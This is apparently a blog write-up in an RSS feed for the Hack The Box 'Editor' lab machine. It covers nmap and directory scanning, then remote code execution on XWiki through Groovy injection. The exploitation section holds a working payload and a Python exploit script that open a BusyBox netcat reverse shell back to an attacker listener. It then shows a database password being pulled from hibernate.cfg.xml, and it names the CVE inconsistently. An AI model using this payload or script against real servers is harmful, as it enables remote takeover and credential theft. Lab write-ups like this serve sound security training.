&lt;pre&gt;&lt;code&gt;FlagY{c064bc53c601d52499ef381f5b5caabd}
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;challenge complete
&lt;img src=&quot;08.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>Editor HTB Writeup (Protected)</title><link>https://shadowv0id.vercel.app/posts/hackthebox/editor/editor/</link><guid isPermaLink="true">https://shadowv0id.vercel.app/posts/hackthebox/editor/editor/</guid><description>Exploit Xwiki RCE</description><pubDate>Sun, 03 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;lt;!-- Load AdSense --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot; crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- Display Ad --&amp;gt;
&amp;lt;script async src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-6730116050408303&quot;
crossorigin=&quot;anonymous&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;!-- amazon --&amp;gt;
&amp;lt;ins class=&quot;adsbygoogle&quot;
style=&quot;display:block&quot;
data-ad-client=&quot;ca-pub-6730116050408303&quot;
data-ad-slot=&quot;6226039483&quot;
data-ad-format=&quot;auto&quot;
data-full-width-responsive=&quot;true&quot;&amp;gt;&amp;lt;/ins&amp;gt;
&amp;lt;script&amp;gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;script&amp;gt;
async function verifyHash() {
const passInput = document.getElementById(&quot;pass-input&quot;).value.trim();&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;if (!passInput) {
  document.getElementById(&quot;error&quot;).textContent = &quot;❌ Please enter a password&quot;;
  return;
}

try {
  const response = await fetch(&quot;https://passowrd-backend-production.up.railway.app/api/unlock&quot;, {
    method: &quot;POST&quot;,
    headers: { &quot;Content-Type&quot;: &quot;application/json&quot; },
    body: JSON.stringify({ password: passInput, postId: &quot;era&quot; })
  });

  const res = await response.json();
  console.log(res);

  if (res.success) {
    document.getElementById(&quot;protected-content&quot;).style.display = &quot;block&quot;;
    document.getElementById(&quot;locked&quot;).style.display = &quot;none&quot;;
    document.getElementById(&quot;error&quot;).textContent = &quot;&quot;;
  } else {
    document.getElementById(&quot;error&quot;).textContent = &quot;❌ Wrong password&quot;;
  }
} catch (error) {
  console.error(&quot;Error during unlock:&quot;, error);
  document.getElementById(&quot;error&quot;).textContent = &quot;❌ Server error, try again later&quot;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;}
&amp;lt;/script&amp;gt;&lt;/p&gt;
&lt;h2&gt;IP&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;10.10.xx.xx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Recon&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;$ nmap -sC -sV 10.10.xx.xx
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 07:16 EDT
Stats: 0:02:37 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 07:18 (0:00:00 remaining)
Stats: 0:02:38 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 07:18 (0:00:00 remaining)
Nmap scan report for editor.htb (10.10.xx.xx)
Host is up (0.31s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Editor - SimplistCode Pro
|_http-server-header: nginx/1.18.0 (Ubuntu)
8080/tcp open  http    Jetty 10.0.20
| http-title: XWiki - Main - Intro
|_Requested resource was http://editor.htb:8080/xwiki/bin/view/Main/
| http-robots.txt: 50 disallowed entries (15 shown)
| /xwiki/bin/viewattachrev/ /xwiki/bin/viewrev/ 
| /xwiki/bin/pdf/ /xwiki/bin/edit/ /xwiki/bin/create/ 
| /xwiki/bin/inline/ /xwiki/bin/preview/ /xwiki/bin/save/ 
| /xwiki/bin/saveandcontinue/ /xwiki/bin/rollback/ /xwiki/bin/deleteversions/ 
| /xwiki/bin/cancel/ /xwiki/bin/delete/ /xwiki/bin/deletespace/ 
|_/xwiki/bin/undelete/
| http-methods: 
|_  Potentially risky methods: PROPFIND LOCK UNLOCK
| http-cookie-flags: 
|   /: 
|     JSESSIONID: 
|_      httponly flag not set
|_http-open-proxy: Proxy might be redirecting requests
| http-webdav-scan: 
|   Server Type: Jetty(10.0.20)
|   WebDAV type: Unknown
|_  Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, LOCK, UNLOCK
|_http-server-header: Jetty(10.0.20)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 282.67 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;p&amp;gt;We got hostname&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h3&gt;Host&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;editor.htb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Website Enumeartion&lt;/h2&gt;
&lt;p&gt;check the Website : &lt;code&gt;http://editor.htb/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;01.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Nothing Intrest just Download a Editor&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;div id=&quot;locked&quot; style=&quot;
font-family: Arial, sans-serif;
max-width: 400px;
margin: 20px auto;
padding: 15px;
border-radius: 12px;
background: rgba(255, 255, 255, 0.25);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
border: 1px solid rgba(255, 255, 255, 0.3);
box-shadow: 0 8px 32px 0 rgba(31, 38, 135, 0.37);
color: #1a1a1a;
&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;p style=&quot;font-weight: bold; font-size: 1.1rem; margin-bottom: 12px; color: #fff;&quot;&amp;gt;&amp;lt;strong&amp;gt;This writeup is password protected 🔒&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;input  style=&quot;width: 100%; padding: 8px 10px; font-size: 1rem; border: 1px solid rgba(255, 255, 255, 0.6); border-radius: 6px; box-sizing: border-box; margin-bottom: 10px; background: rgba(255,255,255,0.3); color: #0d1a36;&quot; id=&quot;pass-input&quot; type=&quot;password&quot; placeholder=&quot;Enter password&quot; /&amp;gt;
&amp;lt;button   style=&quot;width: 100%; background-color: rgba(0, 123, 255, 0.7); color: #e0eaff; border: none; padding: 10px; font-size: 1rem; border-radius: 6px; cursor: pointer; backdrop-filter: none;&quot; onclick=&quot;verifyHash()&quot;&amp;gt;Unlock&amp;lt;/button&amp;gt;
&amp;lt;p id=&quot;error&quot; style=&quot;color: #b00020; margin-top: 8px; font-size: 0.9rem;&quot;&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;div id=&quot;protected-content&quot; style=&quot;display:none&quot;&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;But when you scoll down you see website &lt;code&gt;Documentation&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;02.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When you click on that it was redirecting to another subdomain called &lt;code&gt;wiki.editor.htb&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;03.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;p&amp;gt;We have Hostname and Subdomain&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;h3&gt;Hosts/Domain&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;editor.htb&lt;/code&gt; &lt;code&gt;wiki.editor.htb&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;h1&amp;gt; Perform a Directory Scan&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;http://editor.htb&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;
$ feroxbuster -u http://editor.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e
                                                                                                                    
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben &quot;epi&quot; Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://editor.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, js, json, txt, log]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        7l       12w      162c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET        1l      477w    16052c http://editor.htb/assets/index-DzxC4GL5.css
200      GET      147l     5460w   190349c http://editor.htb/assets/index-VRKEJlit.js
200      GET       15l       55w      631c http://editor.htb/
403      GET        7l       10w      162c http://editor.htb/assets/
301      GET        7l       12w      178c http://editor.htb/assets =&amp;gt; http://editor.htb/assets/
200      GET       15l       55w      631c http://editor.htb/index.html
[#############] - 6m     420028/420028  25m     found:6       errors:58     
[#############] - 6m      420028/420028  97/s    http://editor.htb/ 
[#############] - 6s     210000/210000  105/s   http://editor.htb/assets/ 

&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;http://wiki.editor.htb&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;
$ feroxbuster -u http://wiki.editor.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e

                                                                                                                                                                                               
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben &quot;epi&quot; Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://wiki.editor.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💲  Extensions            │ [php, html, js, json, txt, log]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/save =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node01aaxsstkyeryl1rgl127usu0pi12837.node0?srid=rihRLMqW&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fsave%3Fsrid%3DrihRLMqW
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/rollback =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node019214ftu1ojswnwb3eueg7f7012839.node0?srid=1rsIaY1w&amp;amp;xredirect=%2Fxwiki%2Fbin%2Frollback%3Fsrid%3D1rsIaY1w
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/propupdate =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node01nqjrinul421u6jzhzvosokhq12840.node0?srid=PhLNBe7H&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fpropupdate%3Fsrid%3DPhLNBe7H
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/upload =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node014kehnsptsuvb1lf1rmz4n66d12842.node0?srid=piEjk52V&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fupload%3Fsrid%3DpiEjk52V
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/lock =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node059kj9d2709utetgw4xeiujco12846.node0?srid=pnQn583O&amp;amp;xredirect=%2Fxwiki%2Fbin%2Flock%3Fsrid%3DpnQn583O
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/delattachment =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node01nyo9l2g0dsazhin0uizvxb9112845.node0?srid=TVgBU7j7&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fdelattachment%3Fsrid%3DTVgBU7j7
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/propdisable =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node010dxiqwzgqqps5mpdvbiiuw1m12849.node0?srid=iMk4eQRp&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fpropdisable%3Fsrid%3DiMk4eQRp
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/preview =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node01omjlephzjito18xqqroq7bs4q12851.node0?srid=DL0UWmO4&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fpreview%3Fsrid%3DDL0UWmO4
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/deleteversions =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node01d052ovcfrhxrqmsjbc8lolf212832.node0?srid=VeccwXlq&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fdeleteversions%3Fsrid%3DVeccwXlq
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/admin =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node0sz5dgu2820ed9cdq6erczk5l12854.node0?srid=JifiQBBk&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fadmin%3Fsrid%3DJifiQBBk
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/reset =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node0c7okrmlz682dq7v0tk01kwe12831.node0?srid=Nko0FxVz&amp;amp;xredirect=%2Fxwiki%2Fbin%2Freset%3Fsrid%3DNko0FxVz
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/import =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node01bw7tomqqckqwnyeckm2h16vo12841.node0?srid=R5xSPlkG&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fimport%3Fsrid%3DR5xSPlkG
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/commentsave =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node0104ssgce6nshfeacusn8lp2un12850.node0?srid=72dkeZoO&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fcommentsave%3Fsrid%3D72dkeZoO
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/inline =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node01l70bnwdsp7dj1xnz6hengzhm012861.node0?srid=raELcIN5&amp;amp;xredirect=%2Fxwiki%2Fbin%2Finline%3Fsrid%3DraELcIN5
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/propdelete =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node01tm4jab940gw61e32wbjptq5io12864.node0?srid=1HZ45XTA&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fpropdelete%3Fsrid%3D1HZ45XTA                                                                                                                 
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/edit =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node03lres7v4dtzngp4nhbh611nf12862.node0?srid=PaTOM5c1&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fedit%3Fsrid%3DPaTOM5c1                                                                                                                               
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/ =&amp;gt; http://wiki.editor.htb/xwiki/bin/view/Main/
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/undelete =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node02xz07hct4gi81ri8vv72w9kzu12869.node0?srid=JtytxM0D&amp;amp;xredirect=%2Fxwiki%2Fbin%2Fundelete%3Fsrid%3DJtytxM0D                                                                                                                      
302      GET        0l        0w        0c http://wiki.editor.htb/xwiki/bin/propenable =&amp;gt; http://wiki.editor.htb/xwiki/bin/login/XWiki/XWikiLogin;jsessionid=node0ssor4lbxmb23yo0snm2m31ls12873

[#&amp;gt;-----------] - 26m     420028/420028  25m     found:6       errors:58     
[#####&amp;gt;-------] - 26m      420028/420028  97/s    http://wiki.editor.htb/ 
[####&amp;gt;--------] - 26s     210000/210000  105/s   http://wiki.editor.htb/xwiki/bin/ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::CAUTION
Nothing Useful Found During Directory Scan 😒
:::&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Xwiki&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lets Check What We Have On Port &lt;code&gt;8080&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://editor.htb:8080/&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;04.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;XWiki Debian &lt;code&gt;15.10.8&lt;/code&gt; is runnig&lt;/li&gt;
&lt;li&gt;Which Version is Vulnerable&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;XWiki RCE&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After Many Explores Found An  &lt;a href=&quot;https://www.vicarius.io/vsociety/posts/xwiki-rce-cve-2024-31982-exploit&quot;&gt;CVE-2024-31982&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Vulnerable Versions&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The following versions of &lt;code&gt;org.xwiki.platform:xwiki-platform-search-ui&lt;/code&gt; are impacted:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;From 2.4-milestone-1 up to but excluding 14.10.20&lt;/li&gt;
&lt;li&gt;From 15.0-rc-1 up to but excluding 15.5.4&lt;/li&gt;
&lt;li&gt;From 15.6-rc-1 up to but excluding 15.10-гс-1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Fixed Releases
The issue has been resolved in the following versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;14.10.20&lt;/li&gt;
&lt;li&gt;15.5.4&lt;/li&gt;
&lt;li&gt;15.10-гс-1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::Note
While the vulnerability exists in these versions, the publicly known exploit does not function in our specific environment without modifications. Certain elements must be adapted to achieve successful exploitation.
:::&lt;/p&gt;
&lt;p&gt;🔍 Primary Differences Between the Two Scripts&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Initial PoC Script&lt;/th&gt;
&lt;th&gt;Updated BusyBox Reverse Shell Script&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Function&lt;/td&gt;
&lt;td&gt;Runs any given command and shows its result&lt;/td&gt;
&lt;td&gt;Establishes a reverse shell to connect back to the attacker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Workflow&lt;/td&gt;
&lt;td&gt;Takes input URL (-u) and command (-c), injects script, and retrieves output&lt;/td&gt;
&lt;td&gt;Identifies HTTP/HTTPS automatically, pushes preset reverse shell to /bin/sh using busybox&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Script Payload&lt;/td&gt;
&lt;td&gt;Flexible Groovy code that captures command results&lt;/td&gt;
&lt;td&gt;Static Groovy snippet launching a BusyBox shell without expecting output&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Target URL Path&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/bin/get/Main/DatabaseSearch?...&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;/bin/get/Main/SolrSearch?...&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Result Handling&lt;/td&gt;
&lt;td&gt;Displays response &amp;lt;description&amp;gt; from server&lt;/td&gt;
&lt;td&gt;No parsing/display – depends on callback to attacker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User Configuration&lt;/td&gt;
&lt;td&gt;Command-line flags for interaction (-u, -c)&lt;/td&gt;
&lt;td&gt;Hardcoded IP, port, and endpoint inside the script&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Objective&lt;/td&gt;
&lt;td&gt;For interactive command result testing&lt;/td&gt;
&lt;td&gt;Designed for one-time remote shell access&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Fixed Exploit SHELL&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Method 1 (manual)&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;go to &lt;code&gt;http://wiki.editor.htb/xwiki/bin/view/Main/SolrSearch&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;insert this paylaod&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# payload
}}}{{async async=false}}{{groovy}}println(&quot;busybox nc 10.10.10.10 5555 -e /bin/sh&quot;.execute().text){{/groovy}}{{/async
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;05.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You Got A Shell&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;06.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Run &lt;code&gt;script /dev/null -c bash&lt;/code&gt; For Stabilize&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Method 2 (auto)&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; # exploit.py

import requests
from html import unescape

def detect_protocol(domain):
    &quot;&quot;&quot;Try to connect via HTTPS first, fallback to HTTP if unavailable.&quot;&quot;&quot;
    https_url = f&quot;https://{domain}&quot;
    http_url = f&quot;http://{domain}&quot;
    try:
        response = requests.get(https_url, timeout=5, allow_redirects=True)
        if response.status_code &amp;lt; 400:
            print(f&quot;[✔] HTTPS available: {https_url}&quot;)
            return https_url
    except:
        print(&quot;[!] HTTPS not available. Falling back to HTTP.&quot;)

    try:
        response = requests.get(http_url, timeout=5, allow_redirects=True)
        if response.status_code &amp;lt; 400:
            print(f&quot;[✔] HTTP available: {http_url}&quot;)
            return http_url
    except:
        print(&quot;[✖] Unable to reach target.&quot;)
        exit(1)

def send_direct_revshell(target_url, lhost, lport):
    &quot;&quot;&quot;Send reverse shell payload using Groovy RCE with BusyBox.&quot;&quot;&quot;
    print(f&quot;[+] Sending direct reverse shell via busybox to {lhost}:{lport} ...&quot;)
    cmd = f&quot;busybox nc {lhost} {lport} -e /bin/sh&quot;
    encoded_cmd = cmd.replace(&apos;&quot;&apos;, &apos;\\&quot;&apos;)

    payload_url = (
        f&quot;{target_url}/bin/get/Main/SolrSearch?media=rss&amp;amp;text=&quot;
        f&quot;%7D%7D%7D%7B%7Basync%20async=false%7D%7D&quot;
        f&quot;%7B%7Bgroovy%7D%7D\\\&quot;{encoded_cmd}\\\&quot;&quot;
        f&quot;.execute()%7B%7B/groovy%7D%7D%7B%7B/async%7D%7D&quot;
    )

    try:
        requests.get(payload_url, timeout=5)
    except requests.exceptions.RequestException:
        pass  # Ignore errors; reverse shell may be triggered

if __name__ == &quot;__main__&quot;:
    print(&quot;=&quot; * 80)
    print(&quot;XWiki CVE-2025-24893 - Direct Reverse Shell via BusyBox&quot;)
    print(&quot;=&quot; * 80)

    target = &quot;editor.htb:8080/xwiki&quot;
    lhost = &quot;10.10.16.xx&quot;  # &amp;lt;-- Replace with your actual listener IP
    lport = &quot;4444&quot;

    target_url = detect_protocol(target)
    send_direct_revshell(target_url, lhost, lport)
    print(&quot;[✔] Payload sent. Check your listener (nc -lvnp 4444).&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;:::note
some times method 2 will now work proprly i recommend method1
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Now Lits Check Users&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;xwiki@editor:/usr/lib/xwiki-jetty$ cd /home
cd /home
xwiki@editor:/home$ ls
ls
oliver
xwiki@editor:/home$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;User is &lt;code&gt;oliver&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;User Flag&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Before Grab That User Flag Lets See What is &lt;code&gt;hibernate.cfg.xml&lt;/code&gt; in &lt;code&gt;XWiki&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::tip
&amp;lt;h1&amp;gt;What is hibernate.cfg.xml in XWiki?&amp;lt;/h1&amp;gt;
&amp;lt;h1&amp;gt;Hibernate Configuration File&amp;lt;/h1&amp;gt;
This file belongs to &lt;code&gt;Hibernate&lt;/code&gt;, a Java framework used for ORM (Object-Relational Mapping). In the context of XWiki, it is a core configuration file that defines how &lt;code&gt;XWiki&lt;/code&gt; connects to its backend database.
configuration file that defines how &lt;code&gt;XWiki&lt;/code&gt; connects to its backend database.&lt;/p&gt;
&lt;p&gt;It typically includes settings such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Database type and connection URL&lt;/li&gt;
&lt;li&gt;Database username and password&lt;/li&gt;
&lt;li&gt;Driver class&lt;/li&gt;
&lt;li&gt;SQL dialect&lt;/li&gt;
&lt;li&gt;Connection pool settings
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Grabing Database Credentials from &lt;code&gt;hibernate.cfg.xml&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;xwiki@editor:/home$ cat /usr/lib/xwiki/WEB-INF/hibernate.cfg.xml | grep password
&amp;lt;lib/xwiki/WEB-INF/hibernate.cfg.xml | grep password
    &amp;lt;property name=&quot;hibernate.connection.password&quot;&amp;gt;theEd1t0rTeam99&amp;lt;/property&amp;gt;
    &amp;lt;property name=&quot;hibernate.connection.password&quot;&amp;gt;xwiki&amp;lt;/property&amp;gt;
    &amp;lt;property name=&quot;hibernate.connection.password&quot;&amp;gt;xwiki&amp;lt;/property&amp;gt;
    &amp;lt;property name=&quot;hibernate.connection.password&quot;&amp;gt;&amp;lt;/property&amp;gt;
    &amp;lt;property name=&quot;hibernate.connection.password&quot;&amp;gt;xwiki&amp;lt;/property&amp;gt;
    &amp;lt;property name=&quot;hibernate.connection.password&quot;&amp;gt;xwiki&amp;lt;/property&amp;gt;
